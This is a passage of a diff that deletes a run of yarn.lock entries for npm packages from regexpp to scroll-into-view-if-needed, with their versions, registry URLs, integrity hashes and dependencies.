-  integrity sha512-lv0M6+TkDVniA3aD1Eg0DVpfU/booSu7Eev3TDO/mZKHBfVjgCGTV4t4buppESEYDtkArYFOxTJWv6S5C+iaNw==
-
-regexpp@^3.0.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/regexpp/-/regexpp-3.1.0.tgz#206d0ad0a5648cffbdb8ae46438f3dc51c9f78e2"
-  integrity sha512-ZOIzd8yVsQQA7j8GCSlPGXwg5PfmA1mrq0JP4nGhh54LaKN3xdai/vHUDu74pKwV8OxseMS65u2NImosQcSD0Q==
-
-regexpu-core@^4.7.1:
-  version "4.7.1"
-  resolved "https://registry.yarnpkg.com/regexpu-core/-/regexpu-core-4.7.1.tgz#2dea5a9a07233298fbf0db91fa9abc4c6e0f8ad6"
-  integrity sha512-ywH2VUraA44DZQuRKzARmw6S66mr48pQVva4LBeRhcOltJ6hExvWly5ZjFLYo67xbIxb6W1q4bAGtgfEl20zfQ==
-  dependencies:
-    regenerate "^1.4.0"
-    regenerate-unicode-properties "^8.2.0"
-    regjsgen "^0.5.1"
-    regjsparser "^0.6.4"
-    unicode-match-property-ecmascript "^1.0.4"
-    unicode-match-property-value-ecmascript "^1.2.0"
-
-regjsgen@^0.5.1:
-  version "0.5.2"
-  resolved "https://registry.yarnpkg.com/regjsgen/-/regjsgen-0.5.2.tgz#92ff295fb1deecbf6ecdab2543d207e91aa33733"
-  integrity sha512-OFFT3MfrH90xIW8OOSyUrk6QHD5E9JOTeGodiJeBS3J6IwlgzJMNE/1bZklWz5oTg+9dCMyEetclvCVXOPoN3A==
-
-regjsparser@^0.6.4:
-  version "0.6.9"
-  resolved "https://registry.yarnpkg.com/regjsparser/-/regjsparser-0.6.9.tgz#b489eef7c9a2ce43727627011429cf833a7183e6"
-  integrity sha512-ZqbNRz1SNjLAiYuwY0zoXW8Ne675IX5q+YHioAGbCw4X96Mjl2+dcX9B2ciaeyYjViDAfvIjFpQjJgLttTEERQ==
-  dependencies:
-    jsesc "~0.5.0"
-
-relateurl@^0.2.7:
-  version "0.2.7"
-  resolved "https://registry.yarnpkg.com/relateurl/-/relateurl-0.2.7.tgz#54dbf377e51440aca90a4cd274600d3ff2d888a9"
-  integrity sha1-VNvzd+UUQKypCkzSdGANP/LYiKk=
-
-remove-bom-buffer@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/remove-bom-buffer/-/remove-bom-buffer-3.0.0.tgz#c2bf1e377520d324f623892e33c10cac2c252b53"
-  integrity sha512-8v2rWhaakv18qcvNeli2mZ/TMTL2nEyAKRvzo1WtnZBl15SHyEhrCu2/xKlJyUFKHiHgfXIyuY6g2dObJJycXQ==
-  dependencies:
-    is-buffer "^1.1.5"
-    is-utf8 "^0.2.1"
-
-remove-bom-stream@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/remove-bom-stream/-/remove-bom-stream-1.2.0.tgz#05f1a593f16e42e1fb90ebf59de8e569525f9523"
-  integrity sha1-BfGlk/FuQuH7kOv1nejlaVJflSM=
-  dependencies:
-    remove-bom-buffer "^3.0.0"
-    safe-buffer "^5.1.0"
-    through2 "^2.0.3"
-
-remove-trailing-separator@^1.0.1, remove-trailing-separator@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/remove-trailing-separator/-/remove-trailing-separator-1.1.0.tgz#c24bce2a283adad5bc3f58e0d48249b92379d8ef"
-  integrity sha1-wkvOKig62tW8P1jg1IJJuSN52O8=
-
-renderkid@^2.0.4:
-  version "2.0.7"
-  resolved "https://registry.yarnpkg.com/renderkid/-/renderkid-2.0.7.tgz#464f276a6bdcee606f4a15993f9b29fc74ca8609"
-  integrity sha512-oCcFyxaMrKsKcTY59qnCAtmDVSLfPbrv6A3tVbPdFMMrv5jaK10V6m40cKsoPNhAqN6rmHW9sswW4o3ruSrwUQ==
-  dependencies:
-    css-select "^4.1.3"
-    dom-converter "^0.2.0"
-    htmlparser2 "^6.1.0"
-    lodash "^4.17.21"
-    strip-ansi "^3.0.1"
-
-repeat-element@^1.1.2:
-  version "1.1.4"
-  resolved "https://registry.yarnpkg.com/repeat-element/-/repeat-element-1.1.4.tgz#be681520847ab58c7568ac75fbfad28ed42d39e9"
-  integrity sha512-LFiNfRcSu7KK3evMyYOuCzv3L10TW7yC1G2/+StMjK8Y6Vqd2MG7r/Qjw4ghtuCOjFvlnms/iMmLqpvW/ES/WQ==
-
-repeat-string@^1.5.2, repeat-string@^1.6.1:
-  version "1.6.1"
-  resolved "https://registry.yarnpkg.com/repeat-string/-/repeat-string-1.6.1.tgz#8dcae470e1c88abc2d600fff4a776286da75e637"
-  integrity sha1-jcrkcOHIirwtYA//Sndihtp15jc=
-
-replace-ext@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/replace-ext/-/replace-ext-1.0.1.tgz#2d6d996d04a15855d967443631dd5f77825b016a"
-  integrity sha512-yD5BHCe7quCgBph4rMQ+0KkIRKwWCrHDOX1p1Gp6HwjPM5kVoCdKGNhN7ydqqsX6lJEnQDKZ/tFMiEdQ1dvPEw==
-
-replace-homedir@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/replace-homedir/-/replace-homedir-1.0.0.tgz#e87f6d513b928dde808260c12be7fec6ff6e798c"
-  integrity sha1-6H9tUTuSjd6AgmDBK+f+xv9ueYw=
-  dependencies:
-    homedir-polyfill "^1.0.1"
-    is-absolute "^1.0.0"
-    remove-trailing-separator "^1.1.0"
-
-request-promise-core@1.1.4:
-  version "1.1.4"
-  resolved "https://registry.yarnpkg.com/request-promise-core/-/request-promise-core-1.1.4.tgz#3eedd4223208d419867b78ce815167d10593a22f"
-  integrity sha512-TTbAfBBRdWD7aNNOoVOBH4pN/KigV6LyapYNNlAPA8JwbovRti1E88m3sYAwsLi5ryhPKsE9APwnjFTgdUjTpw==
-  dependencies:
-    lodash "^4.17.19"
-
-request-promise-native@^1.0.5:
-  version "1.0.9"
-  resolved "https://registry.yarnpkg.com/request-promise-native/-/request-promise-native-1.0.9.tgz#e407120526a5efdc9a39b28a5679bf47b9d9dc28"
-  integrity sha512-wcW+sIUiWnKgNY0dqCpOZkUbF/I+YPi+f09JZIDa39Ec+q82CpSYniDp+ISgTTbKmnpJWASeJBPZmoxH84wt3g==
-  dependencies:
-    request-promise-core "1.1.4"
-    stealthy-require "^1.1.1"
-    tough-cookie "^2.3.3"
-
-request@^2.85.0, request@^2.87.0, request@^2.88.0:
-  version "2.88.2"
-  resolved "https://registry.yarnpkg.com/request/-/request-2.88.2.tgz#d73c918731cb5a87da047e207234146f664d12b3"
-  integrity sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==
-  dependencies:
-    aws-sign2 "~0.7.0"
-    aws4 "^1.8.0"
-    caseless "~0.12.0"
-    combined-stream "~1.0.6"
-    extend "~3.0.2"
-    forever-agent "~0.6.1"
-    form-data "~2.3.2"
-    har-validator "~5.1.3"
-    http-signature "~1.2.0"
-    is-typedarray "~1.0.0"
-    isstream "~0.1.2"
-    json-stringify-safe "~5.0.1"
-    mime-types "~2.1.19"
-    oauth-sign "~0.9.0"
-    performance-now "^2.1.0"
-    qs "~6.5.2"
-    safe-buffer "^5.1.2"
-    tough-cookie "~2.5.0"
-    tunnel-agent "^0.6.0"
-    uuid "^3.3.2"
-
-require-directory@^2.1.1:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/require-directory/-/require-directory-2.1.1.tgz#8c64ad5fd30dab1c976e2344ffe7f792a6a6df42"
-  integrity sha1-jGStX9MNqxyXbiNE/+f3kqam30I=
-
-require-main-filename@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/require-main-filename/-/require-main-filename-1.0.1.tgz#97f717b69d48784f5f526a6c5aa8ffdda055a4d1"
-  integrity sha1-l/cXtp1IeE9fUmpsWqj/3aBVpNE=
-
-require-main-filename@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/require-main-filename/-/require-main-filename-2.0.0.tgz#d0b329ecc7cc0f61649f62215be69af54aa8989b"
-  integrity sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==
-
-requires-port@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/requires-port/-/requires-port-1.0.0.tgz#925d2601d39ac485e091cf0da5c6e694dc3dcaff"
-  integrity sha1-kl0mAdOaxIXgkc8NpcbmlNw9yv8=
-
-resize-observer-polyfill@^1.5.0, resize-observer-polyfill@^1.5.1:
-  version "1.5.1"
-  resolved "https://registry.yarnpkg.com/resize-observer-polyfill/-/resize-observer-polyfill-1.5.1.tgz#0e9020dd3d21024458d4ebd27e23e40269810464"
-  integrity sha512-LwZrotdHOo12nQuZlHEmtuXdqGoOD0OhaxopaNFxWzInpEgaLWoVuAMbTzixuosCx2nEG58ngzW3vxdWoxIgdg==
-
-resolve-cwd@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/resolve-cwd/-/resolve-cwd-2.0.0.tgz#00a9f7387556e27038eae232caa372a6a59b665a"
-  integrity sha1-AKn3OHVW4nA46uIyyqNypqWbZlo=
-  dependencies:
-    resolve-from "^3.0.0"
-
-resolve-dir@^1.0.0, resolve-dir@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/resolve-dir/-/resolve-dir-1.0.1.tgz#79a40644c362be82f26effe739c9bb5382046f43"
-  integrity sha1-eaQGRMNivoLybv/nOcm7U4IEb0M=
-  dependencies:
-    expand-tilde "^2.0.0"
-    global-modules "^1.0.0"
-
-resolve-from@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-3.0.0.tgz#b22c7af7d9d6881bc8b6e653335eebcb0a188748"
-  integrity sha1-six699nWiBvItuZTM17rywoYh0g=
-
-resolve-from@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-4.0.0.tgz#4abcd852ad32dd7baabfe9b40e00a36db5f392e6"
-  integrity sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==
-
-resolve-options@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/resolve-options/-/resolve-options-1.1.0.tgz#32bb9e39c06d67338dc9378c0d6d6074566ad131"
-  integrity sha1-MrueOcBtZzONyTeMDW1gdFZq0TE=
-  dependencies:
-    value-or-function "^3.0.0"
-
-resolve-pathname@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/resolve-pathname/-/resolve-pathname-3.0.0.tgz#99d02224d3cf263689becbb393bc560313025dcd"
-  integrity sha512-C7rARubxI8bXFNB/hqcp/4iUeIXJhJZvFPFPiSPRnhU5UPxzMFIl+2E6yY6c4k9giDJAhtV+enfA+G89N6Csng==
-
-resolve-url-loader@3.1.2:
-  version "3.1.2"
-  resolved "https://registry.yarnpkg.com/resolve-url-loader/-/resolve-url-loader-3.1.2.tgz#235e2c28e22e3e432ba7a5d4e305c59a58edfc08"
-  integrity sha512-QEb4A76c8Mi7I3xNKXlRKQSlLBwjUV/ULFMP+G7n3/7tJZ8MG5wsZ3ucxP1Jz8Vevn6fnJsxDx9cIls+utGzPQ==
-  dependencies:
-    adjust-sourcemap-loader "3.0.0"
-    camelcase "5.3.1"
-    compose-function "3.0.3"
-    convert-source-map "1.7.0"
-    es6-iterator "2.0.3"
-    loader-utils "1.2.3"
-    postcss "7.0.21"
-    rework "1.0.1"
-    rework-visit "1.0.0"
-    source-map "0.6.1"
-
-resolve-url@^0.2.1:
-  version "0.2.1"
-  resolved "https://registry.yarnpkg.com/resolve-url/-/resolve-url-0.2.1.tgz#2c637fe77c893afd2a663fe21aa9080068e2052a"
-  integrity sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo=
-
-resolve@1.1.7, resolve@~1.1.6:
-  version "1.1.7"
-  resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.1.7.tgz#203114d82ad2c5ed9e8e0411b3932875e889e97b"
-  integrity sha1-IDEU2CrSxe2ejgQRs5ModeiJ6Xs=
-
-resolve@1.15.0:
-  version "1.15.0"
-  resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.15.0.tgz#1b7ca96073ebb52e741ffd799f6b39ea462c67f5"
-  integrity sha512-+hTmAldEGE80U2wJJDC1lebb5jWqvTYAfm3YZ1ckk1gBr0MnCqUKlwK1e+anaFljIl+F5tR5IoZcm4ZDA1zMQw==
-  dependencies:
-    path-parse "^1.0.6"
-
-resolve@^1.1.6, resolve@^1.1.7, resolve@^1.10.0, resolve@^1.12.0, resolve@^1.13.1, resolve@^1.14.2, resolve@^1.15.1, resolve@^1.20.0, resolve@^1.3.2, resolve@^1.4.0, resolve@^1.5.0, resolve@^1.8.1:
-  version "1.20.0"
-  resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.20.0.tgz#629a013fb3f70755d6f0b7935cc1c2c5378b1975"
-  integrity sha512-wENBPt4ySzg4ybFQW2TT1zMQucPK95HSh/nq2CFTZVOGut2+pQvSsgtda4d26YrYcr067wjbmzOG8byDPBX63A==
-  dependencies:
-    is-core-module "^2.2.0"
-    path-parse "^1.0.6"
-
-resolve@^2.0.0-next.3:
-  version "2.0.0-next.3"
-  resolved "https://registry.yarnpkg.com/resolve/-/resolve-2.0.0-next.3.tgz#d41016293d4a8586a39ca5d9b5f15cbea1f55e46"
-  integrity sha512-W8LucSynKUIDu9ylraa7ueVZ7hc0uAgJBxVsQSKOXOyle8a93qXhcz+XAXZ8bIq2d6i4Ehddn6Evt+0/UwKk6Q==
-  dependencies:
-    is-core-module "^2.2.0"
-    path-parse "^1.0.6"
-
-restore-cursor@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/restore-cursor/-/restore-cursor-2.0.0.tgz#9f7ee287f82fd326d4fd162923d62129eee0dfaf"
-  integrity sha1-n37ih/gv0ybU/RYpI9YhKe7g368=
-  dependencies:
-    onetime "^2.0.0"
-    signal-exit "^3.0.2"
-
-restore-cursor@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/restore-cursor/-/restore-cursor-3.1.0.tgz#39f67c54b3a7a58cea5236d95cf0034239631f7e"
-  integrity sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==
-  dependencies:
-    onetime "^5.1.0"
-    signal-exit "^3.0.2"
-
-ret@~0.1.10:
-  version "0.1.15"
-  resolved "https://registry.yarnpkg.com/ret/-/ret-0.1.15.tgz#b8a4825d5bdb1fc3f6f53c2bc33f81388681c7bc"
-  integrity sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==
-
-retry@^0.12.0:
-  version "0.12.0"
-  resolved "https://registry.yarnpkg.com/retry/-/retry-0.12.0.tgz#1b42a6266a21f07421d1b0b54b7dc167b01c013b"
-  integrity sha1-G0KmJmoh8HQh0bC1S33BZ7AcATs=
-
-reusify@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/reusify/-/reusify-1.0.4.tgz#90da382b1e126efc02146e90845a88db12925d76"
-  integrity sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==
-
-rework-visit@1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/rework-visit/-/rework-visit-1.0.0.tgz#9945b2803f219e2f7aca00adb8bc9f640f842c9a"
-  integrity sha1-mUWygD8hni96ygCtuLyfZA+ELJo=
-
-rework@1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/rework/-/rework-1.0.1.tgz#30806a841342b54510aa4110850cd48534144aa7"
-  integrity sha1-MIBqhBNCtUUQqkEQhQzUhTQUSqc=
-  dependencies:
-    convert-source-map "^0.3.3"
-    css "^2.0.0"
-
-rgb-regex@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/rgb-regex/-/rgb-regex-1.0.1.tgz#c0e0d6882df0e23be254a475e8edd41915feaeb1"
-  integrity sha1-wODWiC3w4jviVKR16O3UGRX+rrE=
-
-rgba-regex@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/rgba-regex/-/rgba-regex-1.0.0.tgz#43374e2e2ca0968b0ef1523460b7d730ff22eeb3"
-  integrity sha1-QzdOLiyglosO8VI0YLfXMP8i7rM=
-
-right-align@^0.1.1:
-  version "0.1.3"
-  resolved "https://registry.yarnpkg.com/right-align/-/right-align-0.1.3.tgz#61339b722fe6a3515689210d24e14c96148613ef"
-  integrity sha1-YTObci/mo1FWiSENJOFMlhSGE+8=
-  dependencies:
-    align-text "^0.1.1"
-
-rimraf@2, rimraf@^2.5.4, rimraf@^2.6.3, rimraf@^2.7.1:
-  version "2.7.1"
-  resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-2.7.1.tgz#35797f13a7fdadc566142c29d4f07ccad483e3ec"
-  integrity sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==
-  dependencies:
-    glob "^7.1.3"
-
-rimraf@2.6.3:
-  version "2.6.3"
-  resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-2.6.3.tgz#b2d104fe0d8fb27cf9e0a1cda8262dd3833c6cab"
-  integrity sha512-mwqeW5XsA2qAejG46gYdENaxXjx9onRNCfn7L0duuP4hCuTIi/QO7PDK07KJfp1d+izWPrzEJDcSqBa0OZQriA==
-  dependencies:
-    glob "^7.1.3"
-
-ripemd160@^2.0.0, ripemd160@^2.0.1:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/ripemd160/-/ripemd160-2.0.2.tgz#a1c1a6f624751577ba5d07914cbc92850585890c"
-  integrity sha512-ii4iagi25WusVoiC4B4lq7pbXfAp3D9v5CwfkY33vffw2+pkDjY1D8GaN7spsxvCSx8dkPqOZCEZyfxcmJG2IA==
-  dependencies:
-    hash-base "^3.0.0"
-    inherits "^2.0.1"
-
-rlp@^2.0.0, rlp@^2.2.3:
-  version "2.2.6"
-  resolved "https://registry.yarnpkg.com/rlp/-/rlp-2.2.6.tgz#c80ba6266ac7a483ef1e69e8e2f056656de2fb2c"
-  integrity sha512-HAfAmL6SDYNWPUOJNrM500x4Thn4PZsEy5pijPh40U9WfNk0z15hUYzO9xVIMAdIHdFtD8CBDHd75Td1g36Mjg==
-  dependencies:
-    bn.js "^4.11.1"
-
-rsvp@^4.8.4:
-  version "4.8.5"
-  resolved "https://registry.yarnpkg.com/rsvp/-/rsvp-4.8.5.tgz#c8f155311d167f68f21e168df71ec5b083113734"
-  integrity sha512-nfMOlASu9OnRJo1mbEk2cz0D56a1MBNrJ7orjRZQG10XDyuvwksKbuXNp6qa+kbn839HwjwhBzhFmdsaEAfauA==
-
-rtcpeerconnection-shim@^1.2.15:
-  version "1.2.15"
-  resolved "https://registry.yarnpkg.com/rtcpeerconnection-shim/-/rtcpeerconnection-shim-1.2.15.tgz#e7cc189a81b435324c4949aa3dfb51888684b243"
-  integrity sha512-C6DxhXt7bssQ1nHb154lqeL0SXz5Dx4RczXZu2Aa/L1NJFnEVDxFwCBo3fqtuljhHIGceg5JKBV4XJ0gW5JKyw==
-  dependencies:
-    sdp "^2.6.0"
-
-run-async@^2.2.0, run-async@^2.4.0:
-  version "2.4.1"
-  resolved "https://registry.yarnpkg.com/run-async/-/run-async-2.4.1.tgz#8440eccf99ea3e70bd409d49aab88e10c189a455"
-  integrity sha512-tvVnVv01b8c1RrA6Ep7JkStj85Guv/YrMcwqYQnwjsAS2cTmmPGBBjAjpCW7RrSodNSoE2/qg9O4bceNvUuDgQ==
-
-run-parallel@^1.1.9:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/run-parallel/-/run-parallel-1.2.0.tgz#66d1368da7bdf921eb9d95bd1a9229e7f21a43ee"
-  integrity sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==
-  dependencies:
-    queue-microtask "^1.2.2"
-
-run-queue@^1.0.0, run-queue@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/run-queue/-/run-queue-1.0.3.tgz#e848396f057d223f24386924618e25694161ec47"
-  integrity sha1-6Eg5bwV9Ij8kOGkkYY4laUFh7Ec=
-  dependencies:
-    aproba "^1.1.1"
-
-rustbn.js@~0.2.0:
-  version "0.2.0"
-  resolved "https://registry.yarnpkg.com/rustbn.js/-/rustbn.js-0.2.0.tgz#8082cb886e707155fd1cb6f23bd591ab8d55d0ca"
-  integrity sha512-4VlvkRUuCJvr2J6Y0ImW7NvTCriMi7ErOAqWk1y69vAdoNIzCF3yPmgeNzx+RQTLEDFq5sHfscn1MwHxP9hNfA==
-
-rxjs@^6.4.0, rxjs@^6.5.3, rxjs@^6.6.0, rxjs@^6.6.3:
-  version "6.6.7"
-  resolved "https://registry.yarnpkg.com/rxjs/-/rxjs-6.6.7.tgz#90ac018acabf491bf65044235d5863c4dab804c9"
-  integrity sha512-hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ==
-  dependencies:
-    tslib "^1.9.0"
-
-s3-folder-upload@^2.3.1:
-  version "2.3.5"
-  resolved "https://registry.yarnpkg.com/s3-folder-upload/-/s3-folder-upload-2.3.5.tgz#c4149c2427cec49e7fe49bd8e87e01b60e8bddbe"
-  integrity sha512-udXelTr5+DeDpEAr1nmBzM/yIvmtI+09GVRulTd9LYKQFZgNc2+D/VkHjAPi1d0zluq8FEl2QyncT83SeeRh0w==
-  dependencies:
-    async "3.2.0"
-    aws-sdk "2.647.0"
-    globby "10.0.1"
-    log-update "3.3.0"
-    minimist "1.2.5"
-
-safe-buffer@5.1.2, safe-buffer@~5.1.0, safe-buffer@~5.1.1:
-  version "5.1.2"
-  resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d"
-  integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==
-
-safe-buffer@>=5.1.0, safe-buffer@^5.0.1, safe-buffer@^5.1.0, safe-buffer@^5.1.1, safe-buffer@^5.1.2, safe-buffer@^5.2.0, safe-buffer@~5.2.0:
-  version "5.2.1"
-  resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6"
-  integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==
-
-safe-event-emitter@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/safe-event-emitter/-/safe-event-emitter-1.0.1.tgz#5b692ef22329ed8f69fdce607e50ca734f6f20af"
-  integrity sha512-e1wFe99A91XYYxoQbcq2ZJUWurxEyP8vfz7A7vuUe1s95q8r5ebraVaA1BukYJcpM6V16ugWoD9vngi8Ccu5fg==
-  dependencies:
-    events "^3.0.0"
-
-safe-json-utils@1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/safe-json-utils/-/safe-json-utils-1.0.0.tgz#8b1d68b13cff2ac6a5b68e6c9651cf7f8bb56d9b"
-  integrity sha512-n0hJm6BgX8wk3G+AS8MOQnfcA8dfE6ZMUfwkHUNx69YxPlU3HDaZTHXWto35Z+C4mOjK1odlT95WutkGC+0Idw==
-
-safe-regex@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/safe-regex/-/safe-regex-1.1.0.tgz#40a3669f3b077d1e943d44629e157dd48023bf2e"
-  integrity sha1-QKNmnzsHfR6UPURinhV91IAjvy4=
-  dependencies:
-    ret "~0.1.10"
-
-"safer-buffer@>= 2.1.2 < 3", "safer-buffer@>= 2.1.2 < 3.0.0", safer-buffer@^2.0.2, safer-buffer@^2.1.0, safer-buffer@~2.1.0:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/safer-buffer/-/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a"
-  integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==
-
-sane@^4.0.3:
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/sane/-/sane-4.1.0.tgz#ed881fd922733a6c461bc189dc2b6c006f3ffded"
-  integrity sha512-hhbzAgTIX8O7SHfp2c8/kREfEn4qO/9q8C9beyY6+tvZ87EpoZ3i1RIEvp27YBswnNbY9mWd6paKVmKbAgLfZA==
-  dependencies:
-    "@cnakazawa/watch" "^1.0.3"
-    anymatch "^2.0.0"
-    capture-exit "^2.0.0"
-    exec-sh "^0.3.2"
-    execa "^1.0.0"
-    fb-watchman "^2.0.0"
-    micromatch "^3.1.4"
-    minimist "^1.1.1"
-    walker "~1.0.5"
-
-sanitize.css@^10.0.0:
-  version "10.0.0"
-  resolved "https://registry.yarnpkg.com/sanitize.css/-/sanitize.css-10.0.0.tgz#b5cb2547e96d8629a60947544665243b1dc3657a"
-  integrity sha512-vTxrZz4dX5W86M6oVWVdOVe72ZiPs41Oi7Z6Km4W5Turyz28mrXSJhhEBZoRtzJWIv3833WKVwLSDWWkEfupMg==
-
-sass-loader@8.0.2:
-  version "8.0.2"
-  resolved "https://registry.yarnpkg.com/sass-loader/-/sass-loader-8.0.2.tgz#debecd8c3ce243c76454f2e8290482150380090d"
-  integrity sha512-7o4dbSK8/Ol2KflEmSco4jTjQoV988bM82P9CZdmo9hR3RLnvNc0ufMNdMrB0caq38JQ/FgF4/7RcbcfKzxoFQ==
-  dependencies:
-    clone-deep "^4.0.1"
-    loader-utils "^1.2.3"
-    neo-async "^2.6.1"
-    schema-utils "^2.6.1"
-    semver "^6.3.0"
-
-sax@1.2.1:
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/sax/-/sax-1.2.1.tgz#7b8e656190b228e81a66aea748480d828cd2d37a"
-  integrity sha1-e45lYZCyKOgaZq6nSEgNgozS03o=
-
-sax@>=0.6.0, sax@^1.2.4, sax@~1.2.4:
-  version "1.2.4"
-  resolved "https://registry.yarnpkg.com/sax/-/sax-1.2.4.tgz#2816234e2378bddc4e5354fab5caa895df7100d9"
-  integrity sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==
-
-saxes@^3.1.9:
-  version "3.1.11"
-  resolved "https://registry.yarnpkg.com/saxes/-/saxes-3.1.11.tgz#d59d1fd332ec92ad98a2e0b2ee644702384b1c5b"
-  integrity sha512-Ydydq3zC+WYDJK1+gRxRapLIED9PWeSuuS41wqyoRmzvhhh9nc+QQrVMKJYzJFULazeGhzSV0QleN2wD3boh2g==
-  dependencies:
-    xmlchars "^2.1.1"
-
-scheduler@^0.19.1:
-  version "0.19.1"
-  resolved "https://registry.yarnpkg.com/scheduler/-/scheduler-0.19.1.tgz#4f3e2ed2c1a7d65681f4c854fa8c5a1ccb40f196"
-  integrity sha512-n/zwRWRYSUj0/3g/otKDRPMh6qv2SYMWNq85IEa8iZyAv8od9zDYpGSnpBEjNgcMNq6Scbu5KfIPxNF72R/2EA==
-  dependencies:
-    loose-envify "^1.1.0"
-    object-assign "^4.1.1"
-
-schema-utils@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-1.0.0.tgz#0b79a93204d7b600d4b2850d1f66c2a34951c770"
-  integrity sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==
-  dependencies:
-    ajv "^6.1.0"
-    ajv-errors "^1.0.0"
-    ajv-keywords "^3.1.0"
-
-schema-utils@^2.5.0, schema-utils@^2.6.0, schema-utils@^2.6.1, schema-utils@^2.6.5, schema-utils@^2.6.6:
-  version "2.7.1"
-  resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-2.7.1.tgz#1ca4f32d1b24c590c203b8e7a50bf0ea4cd394d7"
-  integrity sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==
-  dependencies:
-    "@types/json-schema" "^7.0.5"
-    ajv "^6.12.4"
-    ajv-keywords "^3.5.2"
-
-scroll-into-view-if-needed@^2.2.25:
-  version "2.2.28"
-  resolved "https://registry.yarnpkg.com/scroll-into-view-if-needed/-/scroll-into-view-if-needed-2.2.28.tgz#5a15b2f58a52642c88c8eca584644e01703d645a"
